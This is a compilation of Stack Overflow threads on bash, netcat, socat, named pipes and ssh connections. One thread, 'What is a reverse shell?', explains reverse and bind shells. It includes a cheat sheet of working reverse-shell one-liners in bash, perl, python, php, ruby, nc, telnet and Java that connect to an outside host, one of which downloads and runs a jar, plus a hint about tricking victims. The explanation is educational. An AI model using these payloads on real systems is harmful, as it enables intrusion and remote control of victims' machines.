How can I communicate with a unix socket using one connection in a bash script? - bash

I want to read/write to a unix socket in a bash script, but only do it with one connection. All of the examples I've seen using nc say to open different socket connections for every read/write.
Is there a way to do it using one connection throughout the script for every read/write?
(nc only lets me communicate with the socket in a one shot manner)

Run the whole script with output redirected:
{
command
command
command
} | nc -U /tmp/cppLLRBT-socket
However, pipes are one-way, so you can do this for reading or writing, but not both.

Related

Bash script to write to unix socket and then read a response but ONLY AFTER the welcome message

I am connecting to a server that initiates an SSH tunnel for me so I can connect to a remote device.
I can do an interactive socat connexion and manually issue commands like this:
Connected to soundwave server v131 (welcome message)
tunnel r 7 localhost:22 (my command)
Attempting to initiate a tunnel session ID [55] on local port 30054. (response)
The text in parenthesis is just my notes. They aren't actually part of the commands or responses.
I know I can send a message to a unix socket using socat
echo "tunnel r 7 localhost:22" | socat UNIX-CONNECT:data/files/monitor.socket STDOUT
And I saw some posts about being able to write a command and read a command with socat.
But the software has limitations that it only listens for commands until after the welcome message is issued.
So, is there a way with socat, nc, or any other tool to connect to a unix socket automatically, read the welcome message, write the tunnel command, and then parse the response to get the port so I can open up an SSH session?
Thanks so much.

What is a reverse shell? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed last year.
The community reviewed whether to reopen this question last year and left it closed:
Original close reason(s) were not resolved
Improve this question
Could someone explain in deep what is reverse shell about and in what cases are we supposed to use it?
I found this http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet regarding the same, what is the meaning of:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
It's a(n insecure) remote shell introduced by the target. That's the opposite of a "normal" remote shell, that is introduced by the source.
Let's try it with localhost instead of 10.0.0.1:
Open two tabs in your terminal.
open TCP port 8080 and wait for a connection:
nc localhost -lp 8080
Open an interactive shell, and redirect the IO streams to a TCP socket:
bash -i >& /dev/tcp/localhost/8080 0>&1
where
bash -i "If the -i option is present, the shell is interactive."
>& "This special syntax redirects both, stdout and stderr to the specified target."
(argument for >&) /dev/tcp/localhost/8080 is a TCP client connection to localhost:8080.
0>&1 redirect file descriptor 0 (stdin) to fd 1 (stdout), hence the opened TCP socket is used to read input.
Cf. http://wiki.bash-hackers.org/syntax/redirection
Rejoice as you have a prompt in tab 1.
Now imagine not using localhost, but some remote IP.
In addition to the excellent answer by #Kay, the answer to your question why is it called reverse shell is because it is called reverse shell as opposed to a bind shell
Bind shell - attacker's machine acts as a client and victim's machine acts as a server opening up a communication port on the victim and waiting for the client to connect to it and then issue commands that will be remotely (with respect to the attacker) executed on the victim's machine. This would be only possible if the victim's machine has a public IP and is accessible over the internet (disregarding all firewall etc. for the sake of brevity).
Now what if the victim's machine is NATed and hence not directly reachable ? One possible solution - So what if the victim's machine is not reachable. My (attacker's) machine is reachable. So let me open a server at my end and let the victim connect to me. This is what a reverse shell is.
Reverse Shell - attacker's machine (which has a public IP and is reachable over the internet) acts as a server. It opens a communication channel on a port and waits for incoming connections. Victim's machine acts as a client and initiates a connection to the attacker's listening server.
This is exactly what is done by the following:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Examples of reverse shells in various languages. Danger is a word.
bash shell
bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;
perl shell
perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
python shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
php shell
php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';
ruby shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
nc shell
nc -c /bin/sh 1.1.1.1 10086;
telnet shell
telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp
127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;
java jar shell
wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;
java -jar /tmp/revs1.jar;
import java.io.IOException;
public class ReverseShell {
public static void main(String[] args) throws IOException, InterruptedException {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
Reverse shell is getting the connection from the victim or target to your computer. You can think of, your computer (attacker) acts like a server and listens on port specified by him, now you make sure victim connects to you by sending syn packet ( depends on reverse shell implementation whether it is implemented using tcp or udp principals). Now connection appears as if victim himself intending to connect us.
Now in order to trick the victim you need to perform social engineering attacks or do dns spoofing and make sure your victim runs the program.
A successful reverse shell would bypass all firewalls - both host based and network based firewalls.
Reverse shell are of different types - tcp based or http based or reverse tcp based or udp based reverse shells.
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
To open a socket in Linux you have dev /tcp. You are basically opening tcp socket in Linux.
General format is /dev/tcp/ip address /port.
Now listen to port 8080 using net cat as
nc - l - p 8080 - - vv
A simple bash based reverse shell would be executing following command on the victim
nc - e /bin/bash 10.0.0.1 8080. It means you are asking vict to connect to your ip address on port 8080 assuming 10.0.0.1 is victims ip.
In general a reverse shell is a payload that functions as a shell to the operating system, this means means that it either uses the OS API directly, or indirectly through spawning shells in the background, to perform read / write operations on the target computer's memory and hardware. If you can get the payload on to the target computer and get them to execute it, it can connect to the attacker IP and spawn a thread that waits on the port for the attacker to send a command over some protocol like http; it then can parse the command and use the OS API to perform the operation and send status back to the attacker, or it could spawn a shell in the background with the command as a command line argument and redirect the output to a file, which it can then read and send back to the attacker.
The common example you see is the payload using the OS API to spawn a shell process and supplies a command line that opens a child shell and redirects the stdin / stdout of the shell itself to network sockets.
So how normal hacking works is you try to connect to your target and hack through there,
a reverse shell is when your target connects to the attacker by a payload or something alike
there is a good tutorial on network chuck
a reverse shell is also a basic form of rat

Not closing ssh

I have a korn 88 shell script which creates a folder on the remote host using the following command:
ssh $user#$host "mkdir -p $somedir" 2>> $Log
and after that transfers a bunch of files in a loop using this
scp -o keepalive=yes $somedir/$file $user#$host:$somedir
I wonder if first command will leave connection open after script ends?
Each of the commands opens and closes its own connection. It's easy to use a tool like tcpdump to verify this.
This is a consequence of the fact that the exit() system call used to terminate a process closes all open file descriptors including socket file descriptors. Closing a socket closes the connection behind the socket.
New-enough versions of ssh have the ability to multiplex several virtual connections over a single physical connection. So what you could do is start up some long-running ssh command in the background with connection multiplexing enabled, and then subsequent connections will re-use that connection with much faster startup times. See the manpage for ssh_config for info on connection multiplexing, relevant options are ControlMaster and ControlPath.
But as William Pursell suggests, rsync is probably easier and faster, if it's an option.

How to connect stdin of a list of commands (with pipes) to one of those commands

I need to give the user ability to send/receive messages over the network (using netcat) while the connection is stablished (the user, in this case, is using nc as client). The problem is that I need to send a line before user starts interacting. My first attempt was:
echo 'my first line' | nc server port
The problem with this approach is that nc closes the connection when echo finishes its execution, so the user can't send commands via stdin because the shell is given back to him (and also the answer from server is not received because it delays some seconds to start answering and, as nc closes the connection, the answer is never received by the user).
I also tried grouping commands:
{ echo 'my first line'; cat -; } | nc server port
It works almost the way I need, but if server closes the connection, it will wait until I press <ENTER> to give me the shell again. I need to get the shell back when the server closes the connection (in this case, the client - my nc command - will never closes the connection, except if I press Ctrl+C).
I also tried named pipes, without success.
Do you have any tip on how to do it?
Note: I'm using openbsd-netcat.
You probably want to look into expect(1).
It is cat that wait for the 'enter'.
You may write a script execute after nc to kill the cat and it will return to shell automatically.
You can try this to see if it works for you.
perl -e "\$|=1;print \"my first line\\n\" ; while (<STDIN>) {print;}" | nc server port
This one should produce the behaviour you want:
echo "Here is your MOTD." | nc server port ; nc server port
I would suggest you use cat << EOF, but I think it will not work as you expect.
I don't know how you can send EOF when the connection is closed.

Bash Script Statement

I'm trying to figure out what a line means in a bash script file:
mkfifo mypipe
nc -l 12345 < mypipe | /home/myprogram > mypipe
Here's what I understand: nc -l part creates a server-side like behavior on port 12345, which takes in input from mypipe, which pipes that output to a program, which pipes the program output back into mypipe.
My question is firstly is my analysis correct? Second, what exactly is the mkfifo, like what kind of file is it? I also don't understand what nc -l outputs exactly in order to pipe into the myprogram.
Thanks for any help.
mkfifo creates a pipe file. Here, FIFO means "first-in, first-out". Whatever one process writes into the pipe, the second process can read. It is not a "real" file - the data never gets saved to the disk; but Linux abstracts a lot of its mechanisms as files, to simplify things.
nc -l 12345 will bind to socket 12345 and listen; when it catches an incoming connection, it will pass the standard input to the remote host, and the remote host's incoming data to the standard output.
Thus, the architecture here is:
remote host -> nc -> regular pipe -> myprogram
myprogram -> mypipe -> nc -> remote host
effectively letting myprogram and remote host talk, even though myprogram was designed to read from stdin and write to stdout.
Since the bash pipe (|) only handles one direction of communication, you need to make an explicit second pipe to do bidirectional inter-process connection.

Resources